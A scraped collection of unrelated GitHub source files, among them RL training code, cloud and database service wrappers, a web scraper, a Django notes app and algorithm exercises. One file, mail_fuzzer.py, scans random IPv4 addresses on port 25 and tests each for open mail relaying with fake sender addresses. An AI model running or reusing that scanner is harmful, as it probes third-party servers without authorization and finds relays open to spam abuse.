super(TrainingCallback, self).__init__(verbose)\n self.total_count = 0\n self.step_count = 0\n self.eval_interval = eval_interval\n self.episode_length = episode_length\n self.env_eval = env_eval\n self.env_eval.set_seed(10)\n self.ep_tests = 10\n self.loss = []\n self.rw = []\n self.delay = []\n #convergence delta\n self.delta = 2\n self.threshold = 1e-2 # for convergence\n self.threshold_count = 0\n self.model_name = model_name\n self.folder = folder\n self.ep_count = 1\n self.save_model=save\n self.error = []\n\n\n def _on_training_start(self) -> None:\n \"\"\"\n This method is called before the first rollout starts.\n \"\"\"\n pass\n\n def _on_rollout_start(self) -> None:\n \"\"\"\n A rollout is the collection of environment interaction\n using the current policy.\n This event is triggered before collecting new samples.\n \"\"\"\n pass\n\n def _on_step(self) -> bool:\n self.total_count += 1\n self.step_count += 1\n if self.step_count == self.eval_interval:\n pkt_loss_drl_all, rw_drl_all, pkt_d_all = [], [], []\n actions = []\n episodes = []\n # running for self.ep_tests episodes\n for i in range(self.ep_tests):\n self.env_eval.reset()\n episodes.append(self.env_eval.episode_number)\n obs, rw, endep, info = self.env_eval.step_(0)\n self.env_eval.reset_pre()\n rw_drl = []\n pkt_loss_drl = []\n pkt_d_drl = []\n # running a entire episode\n for ii in range(self.env_eval.blocks_ep):\n action1, _ = self.model.predict(obs, deterministic=True)\n actions.append(action1)\n obs, rewards_1, _, _ = self.env_eval.step_(action1)\n #print(action1)\n rw_drl.append(rewards_1[0])\n if rewards_1[2][0] > -10.:\n pkt_loss_drl.append(rewards_1[2][0])\n pkt_d_drl.append(np.mean(rewards_1[3][0]))\n\n pkt_loss_drl_all.append(np.mean(pkt_loss_drl))\n rw_drl_all.append(np.mean(rw_drl) / self.env_eval.K)\n pkt_d_all.append(pkt_d_drl)\n\n # accumulating for history\n self.loss.append(np.mean(pkt_loss_drl_all))\n self.rw.append(np.mean(rw_drl_all))\n self.delay.append(np.mean(pkt_d_all))\n #reseting the step counter\n self.step_count = 0\n self.compute_allocations(actions)\n print(episodes)\n #evaluating the convergence\n if len(self.rw) > 10:\n # for rate\n error = np.sqrt(np.power(np.mean(self.rw[-10:-6]) - np.mean(self.rw[-5:-1]),2))\n self.error.append(error)\n print(\"Error \" + str(error))\n if error <= self.threshold and error > 0.0 and error > 7.105427357601002e-15:\n self.threshold_count += 1\n else:\n self.threshold_count = 0\n if self.threshold_count > 2:\n print(\"Convergence!\")\n print(self.total_count)\n self.model.save(self.folder + self.model_name + \"_\" + str(self.env_eval.ep_count))\n return False\n\n if self.total_count % 1000 == 0:\n self.ep_count += 1\n if self.ep_count % 10 == 0 and self.save_model and self.ep_count > 40:\n self.save()\n #self.ep_count = 1\n return True\n\n def _on_rollout_end(self) -> None:\n \"\"\"\n This event is triggered before updating the policy.\n \"\"\"\n pass\n\n def _on_training_end(self) -> None:\n \"\"\"\n This event is triggered before exiting the `learn()` method.\n \"\"\"\n pass\n\n def compute_allocations(self, actions):\n allocations = [0 for i in range(self.env_eval.K)]\n for act in actions:\n f_ues = self.env_eval.actions[act]\n for f in f_ues:\n for ue in f:\n allocations[ue] += 1\n\n print(allocations)\n\n def save(self):\n self.model.save(self.folder + self.model_name + \"_\" + str(self.ep_count) + \"_eps\")","repo_name":"LABORA-INF-UFG/DRL-SRA-Gym-SB","sub_path":"training_callback.py","file_name":"training_callback.py","file_ext":"py","file_size_in_byte":4825,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"74881219394","text":"#!/usr/bin/env python\n\nimport os\nimport sys\nimport time\nimport urllib\nimport json\nfrom collections import namedtuple\nfrom contextlib import contextmanager\nfrom sqlalchemy import MetaData\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm.session import sessionmaker\n\nimport datetime\n\nfrom snap import common\nimport redis\nimport requests\nimport boto3\nimport sqlalchemy as sqla\nimport uuid\n\nfrom twilio.rest import Client\n\n\nPOSTGRESQL_SVC_PARAM_NAMES = [\n 'host',\n 'database',\n 'schema',\n 'username',\n 'password'\n]\n\nPIPELINE_SVC_PARAM_NAMES = [\n 'job_bucket_name',\n 'posted_jobs_folder',\n 'accepted_jobs_folder'\n]\n\nMONTH_INDEX = 0\nDAY_INDEX = 1\nYEAR_INDEX = 2\n\n\ndef parse_date(date_string):\n tokens = [int(token) for token in date_string.split(\"/\")]\n return datetime.date(tokens[YEAR_INDEX],\n tokens[MONTH_INDEX],\n tokens[DAY_INDEX])\n\n\n\nclass CommandContext(object):\n def __init__(self, atrium_channel, **kwargs):\n pass\n\n def send(self, command_name, **kwargs):\n '''\n construct a message dictionary\n set the header so that Atrium will recognize the message as a command\n '''\n\n\nclass MessageContext(object):\n def __init__(self, atrium_channel, **kwargs):\n self.atrium_channel = atrium_channel\n\n\n def send(self, message_type, **kwargs):\n msg_dict = {\n \"message_type\": message_type,\n \"body_data_type\": \"application/json\",\n \"timestamp\": self.current_timestamp(),\n \"sender_pid\": os.getpid(),\n \"body\": kwargs\n }\n\n num_subscribers = self.redis_client.publish(self.atrium_channel, json.dumps(msg_dict))\n if num_subscribers:\n return True\n \n return False\n\n\nclass UserSession(object):\n def __init__(self):\n pass\n\n\nclass StreamContext(object):\n def __init__(self):\n pass\n\n\n\nclass AtriumClient(object):\n def __init__(self, **kwargs):\n self.atrium_channel = kwargs['atrium_channel']\n redis_params = {\n 'host': kwargs['redis_host'],\n 'port': kwargs['redis_port'],\n 'db': kwargs['redis_db']\n }\n self.redis_client = redis.StrictRedis(**redis_params)\n\n self.user_sms_sessions = {}\n\n\n def current_timestamp(self):\n return datetime.datetime.now().isoformat()\n\n\n def create_session(self):\n return uuid.uuid4()\n\n\n def command_context(self, session: UserSession):\n # send a control signal (a command) to Atrium which will create (or look up)\n # a command queue: generate a globally-unique session ID and pass it to Atrium,\n # create a CommandSession object and pass the ID to it as a command channel\n # The newly-created CommandSession will send a command on the main Atrium channel\n # and (optionally) listen for the return on the command channel\n\n pass\n \n \n def lookup_username_by_mobile_number(self, user_sms_number: str, session, db_svc) -> str:\n \n User = db_svc.Base.classes.users\n query = session.query(User).filter(User.sms_phone_number == user_sms_number).filter(User.deleted_ts == None)\n record = query.one()\n \n return record.username\n\n\n def message_context(self):\n # send a data signal (a message) to Atrium\n pass\n\n\n def connect_user_stream(self, userid, **kwargs):\n msg_dict = {\n \"message_type\": \"test\",\n \"body_data_type\": \"text/plain\",\n \"timestamp\": self.current_timestamp(),\n \"sender_pid\": os.getpid(),\n \"body\": f\"connecting to user {userid}\"\n }\n\n num_subscribers = self.redis_client.publish(self.atrium_channel, json.dumps(msg_dict))\n\n def create_topic_for_user_id(self, user_id: str):\n pass\n\n\n def get_topic_for_user_id(self, user_id: str):\n pass\n\n\n def open_user_session_sms(self, sms_number: str, user_id: str, **kwargs) -> UserSession:\n \n #db_service = kwargs.get('userdb')\n #db_service.lookup_user_account_sms(user_id, sms_number)\n\n session = UserSession()\n self.user_sms_sessions[sms_number] = session\n return session\n\n\n def get_user_session_sms(self, sms_number: str) -> UserSession:\n \n session = self.user_sms_sessions.get(sms_number)\n if not session:\n raise Exception(f'No user session for {sms_number}')\n \n #if self.session_is_expired(session):\n # raise Exception(f'User session for {sms_number} is expired.')\n\n return session\n\n\n def close_session_sms(self, sms_number: str):\n \n session = self.find_user_session_sms(sms_number)\n if session:\n self.delete_user_session_sms(session)\n # if we can't find the session, do nothing\n \n\n def connect_user_stream(self, target_user_id: str, session: UserSession):\n \n stream_ctx = self.create_stream_context(session)\n \n # look up the topic for the target user ID\n topic = self.get_topic_for_user_id(target_user_id)\n\n # create a slot for a Kafka consumer assigned to that topic\n\n # send the request to atriumd\n\n # read result code and send status back to caller\n\n\n\nclass SMSService(object):\n def __init__(self, **kwargs):\n account_sid = kwargs['account_sid']\n auth_token = kwargs['auth_token']\n self.source_number = kwargs['source_mobile_number']\n\n if not account_sid:\n raise Exception('Missing Twilio account SID var.')\n\n if not auth_token:\n raise Exception('Missing Twilio auth token var.')\n\n self.client = Client(account_sid, auth_token)\n\n def send_sms(self, mobile_number, message):\n print('### sending message body via SMS from [%s] to [%s] :' % (self.source_number, mobile_number))\n print(message)\n\n message = self.client.messages.create(\n to='+1%s' % mobile_number,\n from_='+1%s' % self.source_number,\n body=message\n )\n\n return message.sid\n\n\nclass PostgreSQLService(object):\n def __init__(self, **kwargs):\n kwreader = common.KeywordArgReader(*POSTGRESQL_SVC_PARAM_NAMES)\n kwreader.read(**kwargs)\n\n self.db_name = kwargs['database']\n self.host = kwargs['host']\n self.port = int(kwargs.get('port', 5432))\n self.username = kwargs['username']\n self.password = kwargs['password'] \n self.schema = kwargs['schema']\n self.max_connect_retries = int(kwargs.get('max_connect_retries') or 3)\n self.metadata = None\n self.engine = None\n self.session_factory = None\n self.Base = None\n self.url = None\n\n url_template = '{db_type}://{user}:{passwd}@{host}/{database}'\n db_url = url_template.format(db_type='postgresql+psycopg2',\n user=self.username,\n passwd=self.password,\n host=self.host,\n port=self.port,\n database=self.db_name)\n\n retries = 0\n connected = False\n while not connected and retries < self.max_connect_retries:\n try:\n self.engine = sqla.create_engine(db_url, echo=False)\n self.metadata = MetaData(schema=self.schema)\n self.Base = automap_base(bind=self.engine, metadata=self.metadata)\n self.Base.prepare(self.engine, reflect=True)\n self.metadata.reflect(bind=self.engine)\n self.session_factory = sessionmaker(bind=self.engine, autoflush=False, autocommit=False)\n\n # this is required. See comment in SimpleRedshiftService \n connection = self.engine.connect() \n connection.close()\n connected = True\n print('### Connected to PostgreSQL DB.', file=sys.stderr)\n self.url = db_url\n\n except Exception as err:\n print(err, file=sys.stderr)\n print(err.__class__.__name__, file=sys.stderr)\n print(err.__dict__, file=sys.stderr)\n time.sleep(1)\n retries += 1\n\n if not connected:\n raise Exception('!!! Unable to connect to PostgreSQL db on host %s at port %s.' % \n (self.host, self.port))\n\n @contextmanager\n def txn_scope(self):\n session = self.session_factory()\n try:\n yield session\n session.commit()\n except Exception:\n session.rollback()\n raise\n finally:\n session.close()\n\n @contextmanager\n def connect(self):\n connection = self.engine.connect()\n try:\n yield connection\n finally:\n connection.close()\n\n\nclass S3Key(object):\n def __init__(self, bucket_name, s3_object_path):\n self.bucket = bucket_name\n self.folder_path = self.extract_folder_path(s3_object_path)\n self.object_name = self.extract_object_name(s3_object_path)\n self.full_name = s3_object_path\n\n def extract_folder_path(self, s3_key_string):\n if s3_key_string.find('/') == -1:\n return ''\n key_tokens = s3_key_string.split('/')\n return '/'.join(key_tokens[0:-1])\n\n def extract_object_name(self, s3_key_string):\n if s3_key_string.find('/') == -1:\n return s3_key_string\n return s3_key_string.split('/')[-1]\n\n def __str__(self):\n return self.full_name\n\n @property\n def uri(self):\n return os.path.join('s3://', self.bucket, self.full_name)\n\n\nclass S3Service(object):\n def __init__(self, **kwargs):\n kwreader = common.KeywordArgReader('local_temp_path', 'region')\n kwreader.read(**kwargs)\n\n self.local_tmp_path = kwreader.get_value('local_temp_path')\n self.region = kwreader.get_value('region')\n self.s3session = None\n self.aws_access_key_id = None\n self.aws_secret_access_key = None\n\n # we set this to True if we are initializing this object from inside\n # an AWS Lambda, because in that case we do not require the aws\n # credential parameters to be set. The default is False, which is what\n # we want when we are creating this object in a normal (non-AWS-Lambda)\n # execution context: clients must pass in credentials.\n\n should_authenticate_via_iam = kwargs.get('auth_via_iam', False)\n\n if not should_authenticate_via_iam:\n print(\"NOT authenticating via IAM. Setting credentials now.\", file=sys.stderr)\n self.aws_access_key_id = kwargs.get('aws_key_id')\n self.aws_secret_access_key = kwargs.get('aws_secret_key')\n if not self.aws_secret_access_key or not self.aws_access_key_id:\n raise Exception('S3 authorization failed. Please check your credentials.')\n\n self.s3client = boto3.client('s3',\n aws_access_key_id=self.aws_access_key_id,\n aws_secret_access_key=self.aws_secret_access_key)\n else:\n self.s3client = boto3.client('s3', region_name=self.region)\n\n def upload_object(self, local_filename, bucket_name, bucket_path=None):\n s3_path = None\n with open(local_filename, 'rb') as data:\n base_filename = os.path.basename(local_filename)\n if bucket_path:\n s3_path = os.path.join(bucket_path, base_filename)\n else:\n s3_path = base_filename\n self.s3client.upload_fileobj(data, bucket_name, s3_path)\n return S3Key(bucket_name, s3_path)\n\n def upload_json(self, data_dict, bucket_name, bucket_path):\n binary_data = bytes(json.dumps(data_dict), 'utf-8')\n self.s3client.put_object(Body=binary_data, \n Bucket=bucket_name, \n Key=bucket_path)\n\n def upload_bytes(self, bytes_obj, bucket_name, bucket_path):\n s3_key = bucket_path\n self.s3client.put_object(Body=bytes_obj,\n Bucket=bucket_name,\n Key=s3_key)\n return s3_key\n\n def download_json(self, bucket_name, s3_key_string):\n obj = self.s3client.get_object(Bucket=bucket_name, Key=s3_key_string)\n return json.loads(obj['Body'].read().decode('utf-8'))\n\n\nclass APIError(Exception):\n def __init__(self, url, method, status_code):\n super().__init__(self,\n 'Error sending %s request to URL %s: status code %s' % (method, url, status_code))\n\n\nAPIEndpoint = namedtuple('APIEndpoint', 'host port path method')\n\n\n\nclass AtriumService(object):\n def __init__(self, **kwargs):\n self.user_sms_sessions = {}\n\n\n def is_expired(self, user_session) -> bool:\n return False\n\n\n def create_topic_for_user_id(self, user_id: str):\n pass\n\n\n def get_topic_for_user_id(self, user_id: str):\n pass\n\n\n def open_user_session_sms(self, sms_number: str, user_id: str, **kwargs) -> UserSession:\n \n #db_service = kwargs.get('userdb')\n #db_service.lookup_user_account_sms(user_id, sms_number)\n\n session = UserSession()\n self.user_sms_sessions[sms_number] = session\n return session\n\n\n def get_user_session_sms(self, sms_number: str) -> UserSession:\n \n session = self.user_sms_sessions.get(sms_number)\n if not session:\n raise Exception(f'No user session for {sms_number}')\n \n if self.session_is_expired(session):\n raise Exception(f'User session for {sms_number} is expired.')\n\n return session\n\n\n def close_session_sms(self, sms_number: str):\n \n session = self.find_user_session_sms(sms_number)\n if session:\n self.delete_user_session_sms(session)\n # if we can't find the session, do nothing\n \n\n def connect_user_stream(self, target_user_id: str, session: UserSession):\n \n stream_ctx = self.create_stream_context(session)\n \n # look up the topic for the target user ID\n topic = self.get_topic_for_user_id(target_user_id)\n\n # create a slot for a Kafka consumer assigned to that topic\n\n # send the request to atriumd\n\n # read result code and send status back to caller\n","repo_name":"carbonmike/pulse","sub_path":"pulse_services.py","file_name":"pulse_services.py","file_ext":"py","file_size_in_byte":14556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27461079168","text":"import click\n\n\nclass Mutex(click.Option):\n def __init__(self, *args, **kwargs):\n self.not_required_if: list = kwargs.pop(\"not_required_if\")\n\n assert self.not_required_if, \"'not_required_if' parameter required\"\n kwargs[\"help\"] = (\n kwargs.get(\"help\", \"\")\n + \"Option is mutually exclusive with \"\n + \", \".join(self.not_required_if)\n + \".\"\n ).strip()\n super(Mutex, self).__init__(*args, **kwargs)\n\n def handle_parse_result(self, ctx, opts, args):\n current_opt: bool = self.name in opts\n for mutex_opt in self.not_required_if:\n if mutex_opt in opts:\n if current_opt:\n raise click.UsageError(\n \"Illegal usage: '--\"\n + str(self.name)\n + \"' is mutually exclusive with '--\"\n + str(mutex_opt)\n + \"'\"\n )\n else:\n self.prompt = None\n return super(Mutex, self).handle_parse_result(ctx, opts, args)\n","repo_name":"mbhall88/tbpore","sub_path":"tbpore/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"16487116563","text":"from bs4 import BeautifulSoup\nimport requests\nfrom random import randint\nimport time\n\n\ndef parser():\n html_doc = requests.get(\"https://www.cian.ru/snyat-kvartiru-1-komn-ili-2-komn/\")\n\n soup = BeautifulSoup(html_doc.text, \"html.parser\")\n\n title = soup.find_all(\"a\", \"_93444fe79c--media--9P6wN\")\n\n for i in title:\n with open(\"cian_href.html\", \"a\", encoding=\"UTF-8\") as file:\n file.write(i.get(\"href\") + \" 1\" + \"\\n\")\n\n for t in range(2, 6):\n url = requests.get(f\"https://www.cian.ru/cat.php?deal_type=rent&engine_version=2&offer_type=flat&p={t}®ion=1&room1=1&room2=1&type=4\")\n soup_2 = BeautifulSoup(url.text, \"html.parser\")\n title_2 = soup_2.find_all(\"a\", \"_93444fe79c--media--9P6wN\")\n\n for list_2 in title_2:\n with open(\"cian_href.html\", \"a\", encoding=\"UTF-8\") as file:\n file.write(list_2.get(\"href\") + f\" {t}\" + \"\\n\")\n time.sleep(randint(1, 3))\n\n\ndef get_data():\n with open(\"cian_href.html\", encoding=\"UTF-8\") as file:\n w = file.readlines()\n data_cian = {}\n for r in w[:10]:\n href = r.split(' ')[0]\n req = requests.get(href)\n soup = BeautifulSoup(req.text, \"html.parser\")\n\n name_flat = soup.find(\"h1\", \"a10a3f92e9--title--vlZwT\").text\n price = soup.find(\"div\", \"a10a3f92e9--amount--ON6i1\").text\n title = soup.find_all(\"li\", \"a10a3f92e9--underground--pjGNr\")\n metro = []\n for t in title:\n metro.append(f\"{t.find('a').text} - {t.find('span').text}\")\n\n data_cian[f\"{name_flat}\"] = {\n \"Цена\": price,\n \"Метро\": metro\n }\n for k in data_cian.items():\n print(k)\n\n\ndef main():\n parser()\n get_data()\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"bazoy789/Parser_bs4_cian","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34837489438","text":"from django.http import Http404\nfrom django.shortcuts import render, redirect\nfrom .models import Note\nfrom .forms import NoteForm\n\ndef home(request):\n try:\n notes = Note.objects.all()\n except Note.DoesNotExist:\n raise Http404(\"Note does not exist\")\n\n form = NoteForm(request.POST or None)\n if form.is_valid():\n save_it = form.save(commit=False)\n save_it.save()\n\n context = {'notes': notes, 'form': form}\n return render(request, 'notes.html', context)\n\ndef delete_note(request, id): \n\n Note.objects.filter(id=id).delete()\n return redirect('home')","repo_name":"ajitJJadhav/note-app","sub_path":"notes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28097229129","text":"class Solution:\n def is_interleave_recursive(self, str1, str2, str3, m, n, result, i, j):\n if i >= m and j >= n:\n if result == str3:\n return 1\n\n ans = False\n if i < m:\n ans |= self.is_interleave_recursive(str1, str2, str3, m, n, result+str1[i], i+1, j)\n if j < n:\n ans |= self.is_interleave_recursive(str1, str2, str3, m, n, result+str2[j], i, j+1)\n return ans\n\n def is_iterative_memoized(self, str1, str2, str3, m, n, i, j, k, dp):\n if i == m:\n return str2[j:] == str3[k:]\n if j == n:\n return str1[i:] == str3[k:]\n\n if dp[i][j] != -1:\n return dp[i][j]\n ans = 0\n x1 = str1[i] == str3[k] and self.is_iterative_memoized(str1, str2, str3, m, n, i+1, j, k+1, dp)\n x2 = str2[j] == str3[k] and self.is_iterative_memoized(str1, str2, str3, m, n, i, j+1, k+1, dp)\n\n if x1 or x2:\n ans = 1\n\n dp[i][j] = ans\n return ans\n\n def is_interleave_dp(self, str1, str2, str3):\n m = len(str1)\n n = len(str2)\n dp = [[False for j in range(n+1)] for i in range(m+1)]\n\n for i in range(m+1):\n for j in range(n+1):\n if i == 0 and j == 0:\n dp[i][j] = 1\n elif i == 0:\n dp[i][j] = dp[i][j-1] and str2[j-1] == str3[i+j-1]\n elif j == 0:\n dp[i][j] = dp[i-1][j] and str1[i-1] == str3[i+j-1]\n else:\n dp[i][j] = (dp[i-1][j] and str1[i-1] == str3[i+j-1]) or (dp[i][j-1] and str2[j-1] == str3[i+j-1])\n\n return dp[-1][-1]\n\n def isInterleave(self, s1, s2, s3):\n m = len(s1)\n n = len(s2)\n\n ans = self.is_interleave_recursive(s1, s2, s3, m, n, '', 0, 0)\n print(f'recursive ans is {ans}')\n\n dp = [[-1 for j in range(n)] for i in range(m)]\n ans = self.is_iterative_memoized(s1, s2, s3, m, n, 0, 0, 0, dp)\n print(f'iterative ans is {ans}')\n\n ans = self.is_interleave_dp(s1, s2, s3)\n print(f'iterative ans is {ans}')\n\n\nif __name__ == '__main__':\n a = \"abc\"\n b = \"def\"\n c = \"dabecf\"\n obj = Solution()\n obj.isInterleave(a, b, c)\n","repo_name":"navkant/ds_algo_practice","sub_path":"scaler/dp2/dp5/interleaving_substrings.py","file_name":"interleaving_substrings.py","file_ext":"py","file_size_in_byte":2243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35730652894","text":"import sys\n\ndef find_two_items(credit, items, num_items):\n # complexity O(num_items * log(num_items))\n # need to keep track of original indices of the sorted items\n indices = sorted(range(num_items), key = lambda k: items[k])\n items.sort()\n beg = 0\n end = -1\n while True:\n first = items[beg]\n last = items[end]\n total = first + last\n if total == credit:\n ind1 = indices[beg] + 1\n ind2 = indices[num_items + end] + 1\n if ind1 < ind2:\n return ind1, ind2 \n return ind2, ind1\n elif total < credit:\n beg += 1\n elif total > credit:\n end -= 1\n\n\nnum_cases = int(sys.stdin.readline())\nfor case in range(1, num_cases + 1):\n credit = int(sys.stdin.readline())\n num_items = int(sys.stdin.readline())\n items = list(map(int, sys.stdin.readline().split()))\n item1, item2 = find_two_items(credit, items, num_items) \n print(\"Case #\" + str(case) + \":\", item1, item2)\n\n","repo_name":"jshrake/google-code-jam","sub_path":"africa-2010/qualification/store-credit/store-credit.py","file_name":"store-credit.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23620727561","text":"# -*- coding: utf-8 -*-\nimport sys\nnfh = sys.argv[0][:-3];\nnfhin = nfh + \".in\"; nfhout= nfh + \".out\";\nfin = open(nfhin, \"r\"); fout= open(nfhout,\"w\");\ndef rl(): global fin; return fin.readline()[:-1];\ndef out(cnum, outs): global fout; fout.write(\"\".join([\"Case #\",str(cnum),\": \",str(outs),\"\\n\"]));\ndef end(): global fout; fout.close();\n\n# --- program ---\ndef main(a):\n a = sorted(a) \n xor = 0\n for x in a:\n xor ^= x\n if xor != 0:\n return \"NO\"\n else:\n return sum(a) - min(a)\n\n# --- test configuration ---\nNT = int(rl());\nfor T in xrange(1, NT+1):\n rl()\n param = rl()\n res = main(map(int,param.split(\" \")))\n out(T,res)\nend()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_76/517.py","file_name":"517.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36651334977","text":"import random\nimport threading\nfrom essential_generators import DocumentGenerator\nimport socket\nimport smtplib\nfrom smtplib import *\n\nport = 25\nthread_list = []\n\ndef debug_info(err_str):\n # Standard debugging function, pass it a string\n # print(\"-----------------DEBUG-----------------\")\n f.write(str(time.strftime(\"%H:%M:%S\")) +\n \":!!!DEBUG!!!:\\n\" + str(err_str) + \"\\n\")\n # print(\"-----------------DEBUG-----------------\")\n\n\nnow = datetime.now()\nf = open(now.strftime('mylogfile_%H_%M_%d_%m_%Y.log'), \"a\")\n\ndebug_info(\"Starting...\")\n\ndef thread_worker(thread_no, me, you, svr):\n try:\n print(\"[+]trying...\")\n # me == the sender's email address\n print(\"[+]from...\\t\\t\" + str(me))\n # you == the recsvrient's email address\n print(\"[+]to...\\t\\t\" + str(you))\n print(\"[+]server...\\t\\t\" + str(svr))\n\n s = socket.socket()\n s.connect((svr, int(port)))\n socket.setdefaulttimeout(3)\n ans = s.recv(1024)\n\n if (\"220\" in ans):\n print(\n \"\\n[+]port\" +\n \" \" +\n str(port) +\n \" \" +\n \"open on the target system\\n\")\n smtpserver = smtplib.SMTP(svr, int(port))\n r = smtpserver.docmd(\"Mail From:\", me)\n a = str(r)\n if (\"250\" in a):\n r = smtpserver.docmd(\"RCPT TO:\", you)\n a = str(r)\n if (\"250\" in a):\n print(\n \"[+]The target system seems vulenarble to Open relay attack, FOUND!!\\t\\t\" +\n str(svr))\n debug_info(\n \"[+]The target system seems vulenarble to Open relay attack, FOUND!!\\t\\t\" +\n str(svr))\n else:\n print(\"[-]The target system is not vulnerable to Open relay attack \")\n else:\n print(\"[-]port is closed/Filtered\")\n except Exception as e:\n #print(e)\n pass\n\nwhile True:\n for thread_no in range(1):\n try:\n gen = DocumentGenerator()\n me = str(gen.email())\n you = str(gen.email())\n svr = \".\".join(map(str, (random.randint(0, 255)\n for _ in range(4))))\n\n thread = threading.Thread(\n target=thread_worker, args=(\n thread_no, me, you, svr))\n thread_list.append(thread)\n thread.start()\n\n except Exception as e:\n print(e)\n pass\n","repo_name":"tg12/OpenMailRelayFuzzer","sub_path":"mail_fuzzer.py","file_name":"mail_fuzzer.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"21366609661","text":"import json\nfrom typing import Optional, Final\n\nimport xbmc\n\nimport resources.lib.jsonrpc as jsonrpc\nfrom resources.lib.addon import addon\n\n\nclass Alarm(xbmc.Monitor):\n def __init__(self, name: str, message: str, data: Optional[dict] = None, loop: bool = False):\n super().__init__()\n\n self._name: Final = f'{addon.id}.{name}'\n self._command: Final = f'NotifyAll({addon.id},{jsonrpc.INTERNAL_METHODS.alarm.send},{{\"name\":\"{self._name}\"}})'\n self._loop: Final = ',loop' if loop else ''\n\n self._message = message\n self._data = data\n\n self._minutes = 0\n\n @property\n def is_active(self) -> bool:\n return bool(self._minutes)\n\n @property\n def minutes(self) -> int:\n return self._minutes\n\n def set(self, minutes):\n self.cancel()\n if minutes > 0:\n self._minutes = minutes\n xbmc.executebuiltin(f'AlarmClock({self._name},{self._command},{self._minutes},silent{self._loop})')\n\n def cancel(self):\n xbmc.executebuiltin(f'CancelAlarm({self._name},silent)')\n self._minutes = 0\n\n def onNotification(self, sender: str, method: str, data: str) -> None:\n if method != jsonrpc.INTERNAL_METHODS.alarm.recv:\n return\n data = json.loads(data)\n if data['name'] != self._name:\n return\n\n if not self._loop:\n self._minutes = 0\n\n if self._data:\n jsonrpc.notify(message=self._message, data=self._data)\n else:\n jsonrpc.notify(message=self._message)\n","repo_name":"FreewheelingHuman/script.service.nfosync","sub_path":"resources/lib/alarm.py","file_name":"alarm.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12056358383","text":"DATABASES = {\n 'default': {\n 'ENGINE': 'django.contrib.gis.db.backends.postgis',\n 'NAME': 'travis_postgis',\n 'USER': 'postgres',\n }\n}\n\nINSTALLED_APPS = [\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django_fakery.tests',\n]\n\nSECRET_KEY = 'secret'\n\nSILENCED_SYSTEM_CHECKS = [\n \"1_7.W001\",\n]\n","repo_name":"jacobb/django-fakery","sub_path":"django_fakery/tests/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"16222853656","text":"import time\r\nfrom Avion import Avion\r\nfrom IAvionCarga import IAvionCarga\r\n\r\nclass TipoCarga(Avion, IAvionCarga):\r\n def __init__(self):\r\n super().__init__()\r\n self.setTipo(\"Carga\")\r\n \r\n def startingEngine(self):\r\n print(\"⛽Check Fuel ✅\")\r\n for i in range(3):\r\n print(\"💥💥Spark💥💥\")\r\n try:\r\n time.sleep(0.8 - (i * 0.4))\r\n except Exception as e:\r\n print(\"⛔: {}\".format(e))\r\n print(\"Started the Motor...✈️✈️\")\r\n \r\n def speedUp(self):\r\n speedUpString = \"speed up in Progress: \"\r\n for i in range(self.getVelocidad()):\r\n speedUpString += \"✈️\"\r\n \r\n for i in range(10):\r\n speedUpString += \"✈️\"\r\n print(speedUpString)\r\n try:\r\n time.sleep(0.5 - (i * 0.05))\r\n except Exception as e:\r\n print(\"⛔: {}\".format(e))\r\n self.addSpeed(10)\r\n \r\n def stopingEngine(self):\r\n print(\"✅ Check the Turbine 🆗🆗\")\r\n for i in range(2):\r\n print(\"⛔ turning off turbine❌❌\")\r\n try:\r\n time.sleep(0.8 - (i * 0.4))\r\n except Exception as e:\r\n print(\"⛔: {}\".format(e))\r\n print(\"Stoped...⚡⚡\")\r\n \r\n def openDoors(self):\r\n print(\"✅ Open Door 🆗\")\r\n \r\n def closeDoors(self):\r\n print(\"✅ Close Door 🆗\")\r\n \r\n def pickUp(self):\r\n print(\"✅ PickUp 🆗\")\r\n \r\n def chargeFuel(self, litros):\r\n super().chargeFuel(litros)\r\n print(\"\")\r\n for i in range(litros):\r\n try:\r\n print(\"⛽\", end=\"\")\r\n time.sleep(0.1)\r\n except Exception as e:\r\n print(\"⛔: {}\".format(e))\r\n print(\"\")\r\n print(\"⛽ Full Fuel ✅\")","repo_name":"santiagodc8/ucc-poo","sub_path":"python/java_to_python/09_pgm_avion_interface/TipoCarga.py","file_name":"TipoCarga.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"41483145192","text":"#\n#\n# =================================================================\n# =================================================================\n\n\"\"\"Provides the REST API implementation for the /storage-providers URI\"\"\"\n\nimport webob.exc\nfrom cinder.api import extensions\nfrom cinder.api.openstack import wsgi\nfrom cinder.api import xmlutil\nfrom cinder.openstack.common import log as logging\nfrom paxes_cinder.db import api as paxes_db_api\n\nLOG = logging.getLogger(__name__)\nAUTHORIZE = extensions.extension_authorizer('volume', 'hosts')\n\n#Define the list of Possible Attributes to be returned on the REST API 